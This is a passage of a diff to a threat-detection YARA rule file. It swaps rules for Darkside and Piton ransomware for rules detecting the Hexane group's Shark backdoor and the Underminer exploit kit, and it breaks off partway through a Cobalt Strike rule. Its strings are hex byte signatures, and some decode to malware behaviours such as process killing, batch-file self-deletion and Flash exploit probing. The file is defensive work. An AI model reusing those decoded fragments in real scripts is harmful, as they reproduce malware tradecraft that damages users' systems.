: FILE +rule ARKBIRD_SOLG_MAL_Shark_Aug_2021_1 : FILE { meta: - description = "Detect the ELF version of Darkside ransomware" + description = "Detect Shark backdoor used by Hexane group (aka Siamesekitten)" author = "Arkbird_SOLG" - id = "10c0ba57-d6d6-5d1d-bd2a-f6f240d71f8b" - date = "2021-05-01" - modified = "2021-05-02" - reference = "https://twitter.com/JAMESWT_MHT/status/1388301138437578757" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-01/Darkside/RAN_ELF_Darkside_Apr_2021_1.yara#L1-L23" + id = "881dcdd9-2f4d-51d3-b046-15cdb2a2cb55" + date = "2021-08-18" + modified = "2021-08-19" + reference = "https://www.clearskysec.com/siamesekitten/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Shark_Aug_2021_1.yara#L1-L24" license_url = "N/A" - logic_hash = "510932893e1e81d6c88e86c7ae2345460b397c936336c7e1a33799dbc1dd6aab" + logic_hash = "c14abb839f4af81a3db38719f23c47498d577a779950e66978ff14d015043490" score = 75 quality = 75 tags = "FILE" - hash1 = "984ce69083f2865ce90b48569291982e786980aeef83345953276adfcbbeece8" - hash2 = "9cc3c217e3790f3247a0c0d3d18d6917701571a8526159e942d0fffb848acffb" - hash3 = "c93e6237abf041bc2530ccb510dd016ef1cc6847d43bf023351dce2a96fdc33b" + hash1 = "89ab99f5721b691e5513f4192e7c96eb0981ddb6c2d2b94c1a32e2df896397b8" + hash2 = "f6ae4f4373510c4e096fab84383b547c8997ccf3673c00660df8a3dc9ed1f3ca" + hash3 = "44faf11719b3a679e7a6dd5db40033ec4dd6e1b0361c145b81586cb735a64112" + hash4 = "2f2ef9e3f6db2146bd277d3c4e94c002ecaf7deaabafe6195fddabc81a8ee76c" tlp = "White" - adversary = "-" + adversary = "Hexane" strings: - $seq1 = { 48 8d 3d d1 e8 3b 00 e8 9c 51 f2 ff 85 c0 74 c6 4c 8d 6c 24 10 4c 89 ef e8 ab bf 02 00 48 8d 1d 34 bb 37 00 49 8d 75 08 48 8d 3d 31 e1 3b 00 48 8d 43 10 48 89 05 1e e1 3b 00 e8 09 1e 02 00 48 8d 05 22 d8 0e 00 48 8b 7c 24 18 c7 05 4b e1 3b 00 01 00 00 00 48 89 05 1c e1 3b 00 48 8d 05 4d d8 0e 00 48 85 ff 48 89 05 13 e1 3b 00 48 8d 05 84 d8 0e 00 48 89 05 0d e1 3b 00 48 8d 05 be d8 0e 00 48 89 05 07 e1 3b 00 48 8d 05 48 d9 0e 00 48 89 05 01 e1 3b 00 48 8d 43 10 48 89 44 24 10 74 05 e8 21 45 f2 ff 4c 8d ac 24 30 03 00 00 4c 89 ef e8 11 bf 02 00 4c 8d b4 24 10 03 00 00 ba 03 00 00 00 4c 89 ee 4c 89 f7 e8 39 62 ff ff 48 8b bc 24 38 03 00 00 48 8d 43 10 48 89 84 24 30 03 00 00 48 85 ff 74 05 e8 db 44 f2 ff 4c 8d 6c 24 30 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 06 62 ff ff 48 8b bc 24 18 03 00 00 48 8d 43 10 48 89 84 24 10 03 00 00 48 85 ff 74 05 e8 a8 44 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 81 e0 3b 00 48 89 05 72 e0 3b 00 e8 0d 1d 02 00 48 8d 05 26 d7 0e 00 48 8b 7c 24 38 c7 05 9f e0 3b 00 01 00 00 00 48 89 05 70 e0 3b 00 48 8d 05 51 d7 0e 00 48 85 ff 48 89 05 67 e0 3b 00 48 8d 05 88 d7 0e 00 48 89 05 61 e0 3b 00 48 8d 05 c2 d7 0e 00 48 89 05 5b e0 3b 00 48 8d 05 4c d8 0e 00 48 89 05 55 e0 3b 00 48 8d 43 10 48 89 44 24 30 74 05 e8 25 44 f2 ff 4c 8d b4 24 50 03 00 00 4c 89 f7 e8 05 c5 02 00 4c 8d 6c 24 50 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 40 61 ff ff 48 8b bc 24 58 03 00 00 48 8d 43 10 48 89 84 24 50 03 00 00 48 85 ff 74 05 e8 e2 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 0b e0 3b 00 48 89 05 fc df 3b 00 e8 47 1c 02 00 48 8d 05 18 d8 0e 00 48 8b 7c 24 58 c7 05 29 e0 3b 00 01 00 00 00 48 89 05 fa df 3b 00 48 8d 05 33 d8 0e 00 48 85 ff 48 89 05 f1 df 3b 00 48 8d 05 5a d8 0e 00 48 89 05 eb df 3b 00 48 8d 05 84 d8 0e 00 48 89 05 e5 df 3b 00 48 8d 05 de d8 0e 00 48 89 05 df df 3b 00 48 8d 43 10 48 89 44 24 50 74 05 e8 5f 43 f2 ff 4c 8d b4 24 70 03 00 00 4c 89 f7 e8 3f c4 02 00 4c 8d 6c 24 70 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 7a 60 ff ff 48 8b bc 24 78 03 00 00 48 8d 43 10 48 89 84 24 70 03 00 00 48 85 ff 74 05 e8 1c 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 95 df 3b 00 48 89 05 86 df 3b 00 e8 81 1b 02 00 48 8d 05 9a d8 0e 00 48 8b 7c 24 78 c7 05 b3 df 3b 00 01 00 00 00 48 89 05 84 df 3b 00 48 8d 05 c5 d8 0e 00 48 85 ff 48 89 05 7b df 3b 00 48 8d 05 fc d8 0e 00 48 89 05 75 df 3b 00 48 8d 05 36 d9 0e 00 48 89 05 6f df 3b 00 48 8d 05 b0 d9 0e 00 48 89 05 69 df 3b 00 48 8d 43 10 48 89 44 24 70 74 05 e8 99 42 f2 ff 4c 8d ac 24 90 03 00 00 4c 89 ef e8 19 be 02 00 4c 8d b4 24 b0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 b1 5f ff ff 4c 8d ac 24 90 00 00 00 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 99 5f ff ff 48 8b bc 24 b8 03 00 00 48 8d 43 10 48 89 84 24 b0 03 00 00 48 85 ff 74 05 e8 3b 42 f2 ff 48 8b bc 24 98 03 00 00 48 8d 43 10 48 89 84 24 90 03 00 00 48 85 ff 74 05 e8 1d 42 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d e6 de 3b 00 48 89 05 d7 de 3b 00 e8 82 1a 02 00 48 8d 05 43 d9 0e 00 48 8b bc 24 98 00 00 00 c7 05 01 df 3b 00 01 00 00 00 48 89 05 d2 de 3b 00 48 8d 05 53 d9 0e 00 48 85 ff 48 89 05 c9 de 3b 00 48 8d 05 72 d9 0e 00 48 89 05 c3 de 3b 00 48 8d 05 94 d9 0e 00 48 89 05 bd de 3b 00 48 8d 05 de d9 0e 00 48 89 05 b7 de 3b 00 48 8d 43 10 48 89 84 24 90 00 00 00 74 05 e8 94 41 f2 ff 4c 8d ac 24 d0 03 00 00 4c 89 ef e8 14 bd 02 00 4c 8d b4 24 f0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 ac 5e ff ff 4c 8d ac 24 b0 00 00 00 ba 03 00 00 00 4c 89 f6 4c 89 ef e8 94 5e ff ff 48 8b bc 24 f8 03 00 00 48 8d 43 10 48 89 84 24 f0 03 00 00 48 85 ff 74 05 e8 36 41 f2 ff 48 8b bc 24 d8 03 00 00 48 8d 43 10 48 89 84 24 d0 03 00 00 48 85 ff 74 05 e8 18 41 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 31 de 3b 00 48 89 05 22 de 3b 00 e8 7d 19 02 00 48 8d 05 56 d9 0e 00 48 8b bc 24 b8 00 00 00 c7 05 4c de 3b 00 01 00 00 00 48 89 05 1d de 3b 00 48 8d 05 6e d9 0e 00 48 85 ff 48 89 05 14 de 3b 00 48 8d 05 95 d9 0e 00 48 89 05 0e de 3b 00 48 8d 05 bf d9 0e 00 48 89 05 08 de 3b 00 48 8d 05 19 da 0e 00 48 89 05 02 de 3b 00 48 8d 43 10 48 89 84 24 b0 00 00 00 74 05 e8 8f 40 f2 ff 4c 8d ac 24 10 04 00 00 4c 89 ef e8 0f bc 02 00 4c 8d b4 24 30 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a7 5d ff ff 4c 8d ac 24 d0 00 00 00 ba 05 00 00 00 4c 89 f6 4c 89 ef e8 8f 5d ff ff 48 8b bc 24 38 04 00 00 48 8d 43 10 48 89 84 24 30 04 00 00 48 85 ff 74 05 e8 31 40 f2 ff 48 8b bc 24 18 04 00 00 48 8d 43 10 48 89 84 24 10 04 00 00 48 85 ff 74 05 e8 13 40 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 7c dd 3b 00 48 89 05 6d dd 3b 00 e8 78 18 02 00 48 8d 05 99 d9 0e 00 48 8b bc 24 d8 00 00 00 c7 05 97 dd 3b 00 01 00 00 00 48 89 05 68 dd 3b 00 48 8d 05 b9 d9 0e 00 48 85 ff 48 89 05 5f dd 3b 00 48 8d 05 e8 d9 0e 00 48 89 05 59 dd 3b 00 48 8d 05 1a da 0e 00 48 89 05 53 dd 3b 00 48 8d 05 84 da 0e 00 48 89 05 4d dd 3b 00 48 8d 43 10 48 89 84 24 d0 00 00 00 74 05 e8 8a 3f f2 ff 4c 8d ac 24 50 04 00 00 4c 89 ef e8 0a bb 02 00 4c 8d b4 24 70 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a2 5c ff ff 4c 8d ac 24 f0 00 00 00 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 8a 5c ff ff 48 8b bc 24 78 04 00 00 48 8d 43 10 48 89 84 24 70 04 00 00 48 85 ff 74 05 e8 2c 3f f2 ff 48 8b bc 24 58 04 00 00 48 8d 43 10 48 89 84 24 50 04 00 00 48 85 ff 74 05 e8 0e 3f f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d c7 dc 3b 00 48 89 05 b8 dc 3b 00 e8 73 17 02 00 48 8d 05 0c da 0e 00 48 8b bc 24 f8 00 00 00 c7 05 e2 dc 3b 00 01 00 00 00 48 89 05 b3 dc 3b 00 48 8d 05 34 da 0e 00 48 85 ff 48 89 05 aa dc 3b 00 48 8d 05 6b da 0e 00 48 89 05 a4 dc 3b 00 48 8d 05 a5 da 0e 00 48 89 05 9e dc 3b 00 48 8d 05 1f db 0e 00 48 89 05 98 dc 3b 00 48 8d 43 10 48 89 84 24 f0 00 00 00 74 05 e8 85 3e f2 ff 4c 8d ac 24 90 04 00 00 4c 89 ef e8 05 ba 02 00 4c 8d b4 24 b0 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 9d 5b ff ff 4c 8d ac 24 10 01 00 00 ba 09 00 00 00 4c 89 f6 4c 89 ef e8 85 5b ff ff 48 8b bc 24 b8 04 00 00 48 8d 43 10 48 89 84 24 b0 04 00 00 48 85 ff 74 05 e8 27 3e f2 ff 48 8b bc 24 98 04 00 00 48 8d 43 10 48 89 84 24 90 04 00 00 48 85 ff 74 05 e8 09 3e f2 ff 48 8d 43 10 49 8d } - $seq2 = { 41 56 49 89 fe 41 55 41 89 cd 41 54 45 8d 60 01 55 53 44 89 c3 48 81 ec 98 06 00 00 41 39 cc 89 74 24 10 48 89 54 24 30 0f 84 ab 09 00 00 48 8d 84 24 80 00 00 00 41 8d 70 ff 48 8d ac 24 10 01 00 00 48 89 c7 48 89 44 24 48 e8 0f 89 f6 ff be 01 00 00 00 48 89 ef e8 02 51 f6 ff 4c 8d a4 24 e0 00 00 00 89 de 4c 89 e7 e8 f0 88 f6 ff 48 8d 84 24 b0 00 00 00 48 89 ea 4c 89 e6 48 89 c7 48 89 44 24 20 e8 55 8d f6 ff 48 8d 1d 4e a2 2f 00 49 8d 7c 24 08 4c 8d 7b 10 4c 89 bc 24 e0 00 00 00 e8 48 eb ea ff 48 8d 7d 08 4c 89 bc 24 10 01 00 00 e8 37 eb ea ff 48 8d 84 24 40 01 00 00 41 8d 75 ff 48 89 c7 48 89 44 24 38 e8 8e 88 f6 ff 48 8d 84 24 d0 01 00 00 be 01 00 00 00 48 89 c7 49 89 c7 48 89 44 24 50 e8 71 50 f6 ff 48 8d ac 24 a0 01 00 00 44 89 ee 48 89 ef e8 5e 88 f6 ff 48 8d 84 24 70 01 00 00 4c 89 fa 48 89 ee 48 89 c7 48 89 44 24 40 e8 c3 8c f6 ff 4c 8d 63 10 48 8d 7d 08 48 8d ac 24 00 02 00 00 4c 89 a4 24 a0 01 00 00 e8 b6 ea ea ff 4c 89 ff 4c 89 a4 24 d0 01 00 00 4c 8d a4 24 30 02 00 00 48 83 c7 08 e8 9a ea ea ff 4c 63 7c 24 10 49 8d 46 30 48 89 44 24 18 0f 1f 40 00 e8 b3 7c f6 ff 49 89 c5 e8 ab 75 f6 ff 4c 89 2c 24 4c 8b 6c 24 18 49 89 c1 48 8b 4c 24 20 48 8b 54 24 48 41 b8 01 00 00 00 48 8b 74 24 30 4c 89 ef e8 32 f9 f6 ff 4c 89 fe 48 89 ef e8 b7 4f f6 ff 4c 89 ea 48 89 ee 4c 89 e7 e8 09 d9 f6 ff 48 8b 4c 24 40 48 8b 54 24 38 4d 89 e1 48 8b 74 24 30 4c 89 2c 24 41 b8 01 00 00 00 4c 89 f7 e8 f5 f8 f6 ff 48 8b 94 24 50 02 00 00 48 8b 8c 24 40 02 00 00 41 89 c5 48 39 8c 24 48 02 00 00 48 8d 43 10 48 0f 46 8c 24 48 02 00 00 48 85 d2 48 89 84 24 30 02 00 00 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 40 4f f7 ff 48 8b 94 24 20 02 00 00 48 8b 8c 24 10 02 00 00 48 8d 43 10 48 39 8c 24 18 02 00 00 48 0f 46 8c 24 18 02 00 00 48 89 84 24 00 02 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 fe 4e f7 ff 45 84 ed 0f 84 fd fe ff ff 83 7c 24 10 01 0f 84 bc 04 00 00 48 8d 84 24 e0 03 00 00 4c 8d ac 24 c0 05 00 00 48 89 44 24 10 48 8d 84 24 10 04 00 00 48 89 44 24 08 49 8d 45 08 } - $seq3 = { 4c 8d bc 24 00 05 00 00 be 01 00 00 00 4c 89 ff e8 9b 4e f6 ff 4c 8d a4 24 30 05 00 00 4c 89 fa 4c 89 f6 4c 89 e7 e8 05 88 f6 ff 48 8d ac 24 60 05 00 00 48 8b 54 24 18 4c 89 e6 48 89 ef e8 5d d3 f6 ff 48 8d 84 24 90 05 00 00 4c 89 f1 4c 89 ea 48 89 ee 48 89 c7 48 89 44 24 28 e8 ef b9 ff ff 48 8b 74 24 28 49 8d 7e 60 e8 01 59 f6 ff 48 8b 94 24 b0 05 00 00 48 8b 8c 24 a0 05 00 00 48 8d 43 10 48 39 8c 24 a8 05 00 00 48 0f 46 8c 24 a8 05 00 00 48 89 84 24 90 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 ff 4d f7 ff 48 8b 94 24 80 05 00 00 48 8b 8c 24 70 05 00 00 48 8d 43 10 48 39 8c 24 78 05 00 00 48 0f 46 8c 24 78 05 00 00 48 89 84 24 60 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 bd 4d f7 ff 48 8b 94 24 50 05 00 00 48 8b 8c 24 40 05 00 00 48 8d 43 10 48 39 8c 24 48 05 00 00 48 0f 46 8c 24 48 05 00 00 48 89 84 24 30 05 00 00 } - $seq4 = { 49 89 ff 41 56 49 89 f6 41 55 41 54 55 53 49 8d 9e c8 01 00 00 48 81 ec f8 05 00 00 48 8d bc 24 d0 00 00 00 e8 e5 52 00 00 48 8d bc 24 00 01 00 00 be 06 0e 5d 00 e8 33 99 ff ff 48 8d b4 24 00 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 bb eb ff ff 48 8b 84 24 00 01 00 00 48 8d b4 24 60 04 00 00 49 8d 9e c0 01 00 00 48 8d 78 e8 e8 9b 10 fd ff 48 8d bc 24 20 01 00 00 be 79 e3 5b 00 e8 e9 98 ff ff 48 8d b4 24 20 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 71 eb ff ff 48 8b 84 24 20 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 58 10 fd ff 48 8d 7c 24 20 4c 89 f6 e8 6b 9d ff ff 48 8d bc 24 40 01 00 00 be 14 e4 5b 00 e8 99 98 ff ff 48 8d 54 24 20 48 8d b4 24 40 01 00 00 48 8d bc 24 d0 00 00 00 e8 1f eb ff ff 48 8b 84 24 40 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 06 10 fd ff 48 8b 44 24 20 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 f0 0f fd ff 48 8d bc 24 60 01 00 00 be 1d e4 5b 00 e8 3e 98 ff ff 48 8d bc 24 c0 00 00 00 e8 41 22 fd ff 48 8d b4 24 c0 00 00 00 48 8d bc 24 60 04 00 00 e8 cc 0f fd ff 48 8d 8c 24 60 04 00 00 48 8d b4 24 60 01 00 00 48 8d bc 24 d0 00 00 00 ba 3f 26 5e 00 e8 fa ce 00 00 48 8d bc 24 60 04 00 00 e8 7d 19 fd ff 48 8d bc 24 c0 00 00 00 e8 70 19 fd ff 48 8b 84 24 60 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 67 0f fd ff 48 8d bc 24 80 01 00 00 be 90 e4 5b 00 e8 b5 97 ff ff 48 8d b4 24 80 01 00 00 48 8d bc 24 d0 00 00 00 ba 48 38 8a 00 e8 3b ea ff ff 48 8b 84 24 80 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 22 0f fd ff 48 8d 94 24 20 04 00 00 48 8d b4 24 00 04 00 00 4c 89 f7 48 c7 84 24 00 04 00 00 78 24 8a 00 48 c7 84 24 20 04 00 00 78 24 8a 00 e8 f2 9c ff ff 48 8d bc 24 a0 01 00 00 be 24 e4 5b 00 e8 40 97 ff ff 48 8d 94 24 00 04 00 00 48 8d b4 24 a0 01 00 00 48 8d bc 24 d0 00 00 00 e8 c3 e9 ff ff 48 8b 84 24 a0 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 aa 0e fd ff 48 8d bc 24 c0 01 00 00 be 2d e4 5b 00 e8 f8 96 ff ff 48 8d 94 24 20 04 00 00 48 8d b4 24 c0 01 00 00 48 8d bc 24 d0 00 00 00 e8 7b e9 ff ff 48 8b 84 24 c0 01 00 00 48 8d b4 24 60 04 00 00 48 8d ac 24 e0 03 00 00 48 8d 78 e8 e8 5a 0e fd ff c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 e2 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 } - $seq5 = { e8 bb e4 fd ff 48 8d bc 24 40 04 00 00 48 89 84 24 e0 01 00 00 e8 b6 e9 05 00 48 89 c3 48 89 84 24 e8 01 00 00 e8 96 1d fd ff 8b 40 08 48 83 c3 08 be 33 e4 5b 00 48 89 df 89 84 24 f0 01 00 00 e8 7b e9 fd ff 48 8b b4 24 00 04 00 00 48 89 df 48 8b 56 e8 e8 67 e6 fd ff 48 8d bc 24 e0 01 00 00 e8 5a d9 fd ff 48 83 bc 24 40 04 00 00 00 75 8f c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 37 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 00 48 89 c6 } - $seq6 = { 48 8d bc 24 40 04 00 00 48 89 84 24 00 02 00 00 e8 0e e9 05 00 48 89 c3 48 89 84 24 08 02 00 00 e8 ee 1c fd ff 8b 40 08 48 83 c3 08 be 3e e4 5b 00 48 89 df 89 84 24 10 02 00 00 e8 d3 e8 fd ff 48 8b b4 24 20 04 00 00 48 89 df 48 8b 56 e8 e8 bf e5 fd ff 48 8d bc 24 00 02 00 00 e8 b2 d8 fd ff 48 83 bc 24 40 04 00 00 00 75 8f 48 8b 84 24 20 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 ee 0c fd ff 48 8b 84 24 00 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 d5 0c fd ff e8 10 c9 fe ff 84 c0 0f 84 48 02 00 00 48 8d 74 24 1d c6 04 24 00 48 89 ef e8 07 97 00 00 48 8b bc 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 c7 84 24 00 04 00 00 00 00 00 00 48 c7 84 24 08 04 00 00 00 00 00 00 48 c7 84 24 10 04 00 00 00 00 00 00 e8 3e db fe ff 84 c0 0f 84 c9 00 00 00 48 8b 84 24 08 04 00 00 48 2b 84 24 00 04 00 00 48 c1 f8 03 } - $seq7 = { 48 83 bc 24 40 04 00 00 00 75 95 48 8d bc 24 00 04 00 00 e8 b0 9e fe ff 48 8b bc 24 e8 03 00 00 48 85 ff 74 05 e8 0e 66 ff ff 48 8d bc 24 f0 00 00 00 e8 81 4d 00 00 48 8d b4 24 f0 00 00 00 4c 89 f7 e8 81 f0 ff ff 48 8d bc 24 40 04 00 00 be 02 e5 5b 00 e8 bf 93 ff ff 48 8d 94 24 f0 00 00 00 48 8d b4 24 40 04 00 00 48 8d bc 24 d0 00 00 00 e8 f2 d1 00 00 48 8b 84 24 40 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 29 0b fd ff 48 8d bc 24 60 04 00 00 be 18 00 00 00 e8 07 0e fd ff 48 8d bc 24 70 04 00 00 48 8d b4 24 d0 00 00 00 ba 01 00 00 00 e8 5d ad 00 00 48 8d b4 24 78 04 00 00 48 8d bc 24 b0 00 00 00 e8 38 0c fd ff 48 8d 94 24 b0 00 00 00 4c 89 f6 4c 89 ff e8 e5 c6 ff ff 48 8b 84 24 b0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 bc 0a fd ff 48 8d bc 24 60 04 00 00 e8 cf 16 fd ff 48 8d bc 24 f0 00 00 00 e8 52 4d 00 00 48 8d bc 24 d0 00 00 00 e8 45 4d 00 00 48 81 c4 f8 05 00 00 4c 89 f8 5b 5d 41 5c 41 5d } - $seq8 = { 4c 8d a4 24 64 05 00 00 66 0f 1f 44 00 00 e8 23 de fd ff 48 8d 94 24 20 04 00 00 48 8d bc 24 a0 03 00 00 48 89 c6 e8 eb df fd ff 48 8b 9c 24 a8 03 00 00 be f7 e4 5b 00 48 8d 7b 08 e8 f5 e2 fd ff 48 8d 7b 70 4c 89 e6 e8 d9 0b fd ff 48 8d bc 24 a0 03 00 00 e8 dc d2 fd ff 48 83 bc 24 20 04 00 00 00 75 a9 48 8d 84 24 c0 03 00 00 be 6c e4 5b 00 48 89 c7 48 89 44 24 08 e8 77 8f ff ff 48 8b 5c 24 08 48 8d 94 24 60 04 00 00 48 8d bc 24 d0 00 00 00 48 89 de e8 7a c8 00 00 48 8b 84 24 c0 03 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 e1 06 fd ff 48 8d b4 24 23 05 00 00 48 8d bc 24 a0 00 00 00 48 89 da e8 29 0d fd ff 48 8d 94 24 a0 03 00 00 48 8d b4 24 60 04 00 00 48 8d bc 24 90 00 00 00 e8 0c 0d fd ff 48 8d bc 24 90 00 00 00 be 90 d6 5c 00 e8 ba 16 fd ff 48 8b 10 48 89 94 24 20 04 00 00 48 c7 00 78 24 8a 00 48 8b 94 24 20 04 00 00 48 8b 84 24 a0 00 00 00 48 8b 4a e8 48 89 ce 48 03 70 e8 48 3b 72 f0 76 0a 48 3b 70 f0 0f 86 b7 08 00 00 48 8d b4 24 a0 00 00 00 48 8d bc 24 20 04 00 00 e8 08 0c fd ff 48 8b 10 be 8d e4 5b 00 48 89 ef 48 89 94 24 40 04 00 00 48 c7 00 78 24 8a 00 e8 89 8e ff ff 48 8d 94 24 40 04 00 00 48 8d bc 24 d0 00 00 00 48 89 ee e8 11 e1 ff ff 48 8b 84 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 f8 05 fd ff 48 8b 84 24 40 04 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 df 05 fd ff 48 8b 84 24 20 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 c6 05 fd ff 48 8b 84 24 90 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 ad 05 fd ff 48 8b 84 24 a0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 94 05 fd ff 48 8d bc 24 00 04 00 00 be 4c e4 5b 00 e8 e2 8d ff ff 48 8d 94 24 e2 04 00 00 48 8d b4 24 00 04 00 00 48 8d bc 24 d0 00 00 00 e8 e5 c6 00 00 48 8b 84 24 00 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 4c 05 fd ff 48 8d bc 24 20 04 00 00 be 98 e4 5b 00 e8 9a 8d ff ff 48 8d 94 24 64 05 00 00 48 8d b4 24 20 04 00 00 48 8d bc 24 d0 00 00 00 e8 9d c6 00 00 48 8b 84 24 20 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 } + $s1 = { 7b 00 22 00 44 00 61 00 74 00 61 00 22 00 3a 00 5b 00 22 00 00 07 22 00 [0-8] 5d 00 7d } + $s2 = "application/json" fullword wide + $s3 = { 40 00 45 00 43 00 48 00 4f 00 20 00 4f 00 46 00 46 00 0a 00 00 1d 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 49 00 4d 00 20 00 22 00 00 17 22 00 20 00 2f 00 46 00 20 00 3e 00 20 00 6e 00 75 00 6c 00 0a 00 00 2b 70 00 69 00 6e 00 67 00 20 00 [12-28] 00 20 00 6e 00 75 00 6c } + $s4 = { 2a 00 65 00 78 00 65 00 00 0b 2a 00 70 00 72 00 6f 00 63 00 00 07 2a 00 6b 00 6c 00 00 07 64 00 69 00 72 00 00 11 66 00 69 00 6c 00 65 00 3a 00 2f 00 2f 00 2f } + $s5 = { 16 0a 2b 13 02 06 02 06 91 1f 2a 28 ?? 00 00 0a 61 d2 9c 06 17 58 0a 06 02 8e 69 } + $s6 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography" fullword wide + $s7 = { 65 00 63 00 68 00 6f 00 20 00 [2-10] 20 00 7c 00 20 00 64 00 65 00 6c 00 20 00 [2-10] 2e 00 62 00 61 00 74 00 00 0f [2-10] 00 2e 00 62 00 61 00 74 } condition: - uint32( 0 ) == 0x464c457f and filesize > 300KB and 7 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 15KB and 6 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_Piton_Nov_2021_1 : FILE +rule ARKBIRD_SOLG_Exp_Underminer_Apr_2021_1 : FILE { meta: - description = "Detect Piton variant (rebuild from the Babuk leaks)" + description = "Detect Underminer exploit kit" author = "Arkbird_SOLG" - id = "433d0692-553b-5efe-84e4-134e99342fe5" - date = "2021-11-03" - modified = "2021-11-04" + id = "bd2a6b30-e05a-5f90-8dc2-719c1ba48a61" + date = "2021-04-14" + modified = "2021-04-15" + reference = "https://twitter.com/nao_sec/status/1382358986813415427" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-14/Underminer/Exp_Underminer_Apr_2021_1.yar#L1-L20" + license_url = "N/A" + logic_hash = "46dd4d8ba58e79761056d3dd6921530520b0071090bcfc3bfaed7a6804f787b7" + score = 75 + quality = 63 + tags = "FILE" + hash1 = "172ac73cda6260918510ad2f4481a7fcd90c5a86d47dd880c5bcb3596dd20a7d" + + strings: + $s1 = { 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 29 } + $s2 = "$version" fullword ascii + $s3 = { 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 26 26 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 2e 6c 65 6e 67 74 68 3e 30 } + $s4 = { 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 5b 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 5d } + $s5 = { 63 6c 61 73 73 69 64 3d 27 63 6c 73 69 64 3a 44 32 37 43 44 42 36 45 2d 41 45 36 44 2d 31 31 63 66 2d 39 36 42 38 2d 34 34 34 35 35 33 35 34 30 30 30 30 27 } + $s6 = { 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 } + $s7 = { 22 64 61 74 61 22 2c 22 2f 6c 6f 67 6f 2e 73 77 66 22 } + $s8 = { 22 30 30 30 30 30 30 30 30 22 2b 28 [1-8] 5b 30 5d 3e 3e 3e 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 38 29 2b 28 22 30 30 30 30 30 30 30 30 22 2b 28 [1-8] 5b 31 5d 3e 3e 3e 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 38 29 } + + condition: + filesize > 5KB and 6 of ( $s* ) +} +rule ARKBIRD_SOLG_APT_Chimera_Sept_2020_1 : FILE +{ + meta: + description = "Detect Cobalt Strike agent used by Chimera" + author = "Arkbird_SOLG" + id = "7a7c3952-fa6e-5643-a40f-d2e466b8c2a2" + date = "2020-10-03" + modified = "2020-10-04" reference = "Internal Research" - source_url = 